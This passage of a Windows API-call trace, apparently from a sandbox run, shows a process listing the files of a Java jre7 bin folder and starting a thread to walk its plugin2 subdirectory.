(_String1="jpiexp.dll", _String2=".") returned 1 [0049.009] wcscmp (_String1="jpiexp.dll", _String2="..") returned 1 [0049.009] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x45ab08 | out: lpFindFileData=0x45ab08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x195a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpinscp.dll", cAlternateFileName="")) returned 1 [0049.009] wcscmp (_String1="jpinscp.dll", _String2=".") returned 1 [0049.009] wcscmp (_String1="jpinscp.dll", _String2="..") returned 1 [0049.009] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x45ab08 | out: lpFindFileData=0x45ab08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x10da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpioji.dll", cAlternateFileName="")) returned 1 [0049.009] wcscmp (_String1="jpioji.dll", _String2=".") returned 1 [0049.009] wcscmp (_String1="jpioji.dll", _String2="..") returned 1 [0049.009] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x45ab08 | out: lpFindFileData=0x45ab08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x229a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpishare.dll", cAlternateFileName="")) returned 1 [0049.009] wcscmp (_String1="jpishare.dll", _String2=".") returned 1 [0049.009] wcscmp (_String1="jpishare.dll", _String2="..") returned 1 [0049.009] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x45ab08 | out: lpFindFileData=0x45ab08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2c9a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jqs.exe", cAlternateFileName="")) returned 1 [0049.009] wcscmp (_String1="jqs.exe", _String2=".") returned 1 [0049.009] wcscmp (_String1="jqs.exe", _String2="..") returned 1 [0049.009] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x45ab08 | out: lpFindFileData=0x45ab08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsdt.dll", cAlternateFileName="")) returned 1 [0049.009] wcscmp (_String1="jsdt.dll", _String2=".") returned 1 [0049.009] wcscmp (_String1="jsdt.dll", _String2="..") returned 1 [0049.009] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x45ab08 | out: lpFindFileData=0x45ab08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x77a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsound.dll", cAlternateFileName="")) returned 1 [0049.009] wcscmp (_String1="jsound.dll", _String2=".") returned 1 [0049.010] wcscmp (_String1="jsound.dll", _String2="..") returned 1 [0049.010] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x45ab08 | out: lpFindFileData=0x45ab08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x6ba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsoundds.dll", cAlternateFileName="")) returned 1 [0049.010] wcscmp (_String1="jsoundds.dll", _String2=".") returned 1 [0049.010] wcscmp (_String1="jsoundds.dll", _String2="..") returned 1 [0049.010] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x45ab08 | out: lpFindFileData=0x45ab08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2b7a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="kcms.dll", cAlternateFileName="")) returned 1 [0049.010] wcscmp (_String1="kcms.dll", _String2=".") returned 1 [0049.010] wcscmp (_String1="kcms.dll", _String2="..") returned 1 [0049.010] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x45ab08 | out: lpFindFileData=0x45ab08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="keytool.exe", cAlternateFileName="")) returned 1 [0049.010] wcscmp (_String1="keytool.exe", _String2=".") returned 1 [0049.010] wcscmp (_String1="keytool.exe", _String2="..") returned 1 [0049.010] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x45ab08 | out: lpFindFileData=0x45ab08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="kinit.exe", cAlternateFileName="")) returned 1 [0049.010] wcscmp (_String1="kinit.exe", _String2=".") returned 1 [0049.010] wcscmp (_String1="kinit.exe", _String2="..") returned 1 [0049.010] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x45ab08 | out: lpFindFileData=0x45ab08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="klist.exe", cAlternateFileName="")) returned 1 [0049.010] wcscmp (_String1="klist.exe", _String2=".") returned 1 [0049.010] wcscmp (_String1="klist.exe", _String2="..") returned 1 [0049.010] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x45ab08 | out: lpFindFileData=0x45ab08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ktab.exe", cAlternateFileName="")) returned 1 [0049.010] wcscmp (_String1="ktab.exe", _String2=".") returned 1 [0049.010] wcscmp (_String1="ktab.exe", _String2="..") returned 1 [0049.010] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x45ab08 | out: lpFindFileData=0x45ab08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x6dba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="libxml2.dll", cAlternateFileName="")) returned 1 [0049.010] wcscmp (_String1="libxml2.dll", _String2=".") returned 1 [0049.010] wcscmp (_String1="libxml2.dll", _String2="..") returned 1 [0049.010] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x45ab08 | out: lpFindFileData=0x45ab08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x269a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="libxslt.dll", cAlternateFileName="")) returned 1 [0049.010] wcscmp (_String1="libxslt.dll", _String2=".") returned 1 [0049.010] wcscmp (_String1="libxslt.dll", _String2="..") returned 1 [0049.010] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x45ab08 | out: lpFindFileData=0x45ab08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x7ba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="management.dll", cAlternateFileName="MANAGE~1.DLL")) returned 1 [0049.010] wcscmp (_String1="management.dll", _String2=".") returned 1 [0049.010] wcscmp (_String1="management.dll", _String2="..") returned 1 [0049.010] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x45ab08 | out: lpFindFileData=0x45ab08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x8c1a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="mlib_image.dll", cAlternateFileName="MLIB_I~1.DLL")) returned 1 [0049.010] wcscmp (_String1="mlib_image.dll", _String2=".") returned 1 [0049.011] wcscmp (_String1="mlib_image.dll", _String2="..") returned 1 [0049.011] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x45ab08 | out: lpFindFileData=0x45ab08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xbcf50, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcr100.dll", cAlternateFileName="")) returned 1 [0049.011] wcscmp (_String1="msvcr100.dll", _String2=".") returned 1 [0049.011] wcscmp (_String1="msvcr100.dll", _String2="..") returned 1 [0049.011] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x45ab08 | out: lpFindFileData=0x45ab08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x127a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="net.dll", cAlternateFileName="")) returned 1 [0049.011] wcscmp (_String1="net.dll", _String2=".") returned 1 [0049.011] wcscmp (_String1="net.dll", _String2="..") returned 1 [0049.011] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x45ab08 | out: lpFindFileData=0x45ab08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xc3a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="nio.dll", cAlternateFileName="")) returned 1 [0049.011] wcscmp (_String1="nio.dll", _String2=".") returned 1 [0049.011] wcscmp (_String1="nio.dll", _String2="..") returned 1 [0049.011] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x45ab08 | out: lpFindFileData=0x45ab08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x367a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="npjpi170_45.dll", cAlternateFileName="NPJPI1~1.DLL")) returned 1 [0049.011] wcscmp (_String1="npjpi170_45.dll", _String2=".") returned 1 [0049.011] wcscmp (_String1="npjpi170_45.dll", _String2="..") returned 1 [0049.011] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x45ab08 | out: lpFindFileData=0x45ab08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x35da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="npoji610.dll", cAlternateFileName="")) returned 1 [0049.013] wcscmp (_String1="npoji610.dll", _String2=".") returned 1 [0049.013] wcscmp (_String1="npoji610.dll", _String2="..") returned 1 [0049.013] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x45ab08 | out: lpFindFileData=0x45ab08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x45a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="npt.dll", cAlternateFileName="")) returned 1 [0049.013] wcscmp (_String1="npt.dll", _String2=".") returned 1 [0049.013] wcscmp (_String1="npt.dll", _String2="..") returned 1 [0049.013] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x45ab08 | out: lpFindFileData=0x45ab08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="orbd.exe", cAlternateFileName="")) returned 1 [0049.013] wcscmp (_String1="orbd.exe", _String2=".") returned 1 [0049.013] wcscmp (_String1="orbd.exe", _String2="..") returned 1 [0049.013] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x45ab08 | out: lpFindFileData=0x45ab08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="pack200.exe", cAlternateFileName="")) returned 1 [0049.013] wcscmp (_String1="pack200.exe", _String2=".") returned 1 [0049.013] wcscmp (_String1="pack200.exe", _String2="..") returned 1 [0049.013] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x45ab08 | out: lpFindFileData=0x45ab08*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugin2", cAlternateFileName="")) returned 1 [0049.014] wcscmp (_String1="plugin2", _String2=".") returned 1 [0049.014] wcscmp (_String1="plugin2", _String2="..") returned 1 [0049.014] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x5a) returned 0x48d2b8 [0049.014] wcscpy (in: _Dest=0x48d2b8, _Source="C:\\Program Files (x86)\\Java\\jre7\\bin" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\bin") returned="C:\\Program Files (x86)\\Java\\jre7\\bin" [0049.014] wcscat (in: _Dest=0x48d2b8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\bin\\") returned="C:\\Program Files (x86)\\Java\\jre7\\bin\\" [0049.014] wcscat (in: _Dest=0x48d2b8, _Source="plugin2" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\bin\\plugin2") returned="C:\\Program Files (x86)\\Java\\jre7\\bin\\plugin2" [0049.593] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x48d2b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x95c [0049.594] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x45ab08 | out: lpFindFileData=0x45ab08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="policytool.exe", cAlternateFileName="POLICY~1.EXE")) returned 1 [0049.594] wcscmp (_String1="policytool.exe", _String2=".") returned 1 [0049.595] wcscmp (_String1="policytool.exe", _String2="..") returned 1 [0049.595] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x45ab08 | out: lpFindFileData=0x45ab08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xb3a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="prism-d3d.dll", cAlternateFileName="PRISM-~1.DLL")) returned 1 [0049.595] wcscmp (_String1="prism-d3d.dll", _String2=".") returned 1 [0049.595] wcscmp (_String1="prism-d3d.dll", _String2="..") returned 1 [0049.595] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x45ab08 | out: lpFindFileData=0x45ab08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="rmid.exe", cAlternateFileName="")) returned 1 [0049.595] wcscmp (_String1="rmid.exe", _String2=".") returned 1 [0049.595] wcscmp (_String1="rmid.exe", _String2="..") returned 1 [0049.595] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x45ab08 | out: lpFindFileData=0x45ab08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="rmiregistry.exe", cAlternateFileName="RMIREG~1.EXE")) returned 1 [0049.595] wcscmp (_String1="rmiregistry.exe", _String2=".") returned 1 [0049.595] wcscmp (_String1="rmiregistry.exe", _String2="..") returned 1 [0049.595] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x45ab08 | out: lpFindFileData=0x45ab08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="servertool.exe", cAlternateFileName="SERVER~1.EXE")) returned 1 [0049.595] wcscmp (_String1="servertool.exe", _String2=".") returned 1 [0049.595] wcscmp (_String1="servertool.exe", _String2="..") returned 1 [0049.595] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x45ab08 | out: lpFindFileData=0x45ab08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2ffa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="splashscreen.dll", cAlternateFileName="SPLASH~1.DLL")) returned 1 [0049.595] wcscmp (_String1="splashscreen.dll", _String2=".") returned 1 [0049.595] wcscmp (_String1="splashscreen.dll", _String2="..") returned 1 [0049.595] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x45ab08 | out: lpFindFileData=0x45ab08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x70fa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ssv.dll", cAlternateFileName="")) returned 1 [0049.595] wcscmp (_String1="ssv.dll", _String2=".") returned 1 [0049.595] wcscmp (_String1="ssv.dll", _String2="..") returned 1 [0049.595] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x45ab08 | out: lpFindFileData=0x45ab08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xbfa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ssvagent.exe", cAlternateFileName="")) returned 1 [0049.595] wcscmp (_String1="ssvagent.exe", _String2=".") returned 1 [0049.595] wcscmp (_String1="ssvagent.exe", _String2="..") returned 1 [0049.596] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x45ab08 | out: lpFindFileData=0x45ab08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1e3a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="sunec.dll", cAlternateFileName="")) returned 1 [0049.596] wcscmp (_String1="sunec.dll", _String2=".") returned 1 [0049.596] wcscmp (_String1="sunec.dll", _String2="..") returned 1 [0049.596] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x45ab08 | out: lpFindFileData=0x45ab08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x63a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="sunmscapi.dll", cAlternateFileName="SUNMSC~1.DLL")) returned 1 [0049.596] wcscmp (_String1="sunmscapi.dll", _String2=".") returned 1 [0049.596] wcscmp (_String1="sunmscapi.dll", _String2="..") returned 1 [0049.596] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x45ab08 | out: lpFindFileData=0x45ab08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2f1a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="t2k.dll", cAlternateFileName="")) returned 1 [0049.596] wcscmp (_String1="t2k.dll", _String2=".") returned 1 [0049.596] wcscmp (_String1="t2k.dll", _String2="..") returned 1 [0049.596] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x45ab08 | out: lpFindFileData=0x45ab08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3fa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="tnameserv.exe", cAlternateFileName="TNAMES~1.EXE")) returned 1 [0049.596] wcscmp (_String1="tnameserv.exe", _String2=".") returned 1 [0049.599] wcscmp (_String1="tnameserv.exe", _String2="..") returned 1 [0049.599] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x45ab08 | out: lpFindFileData=0x45ab08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, 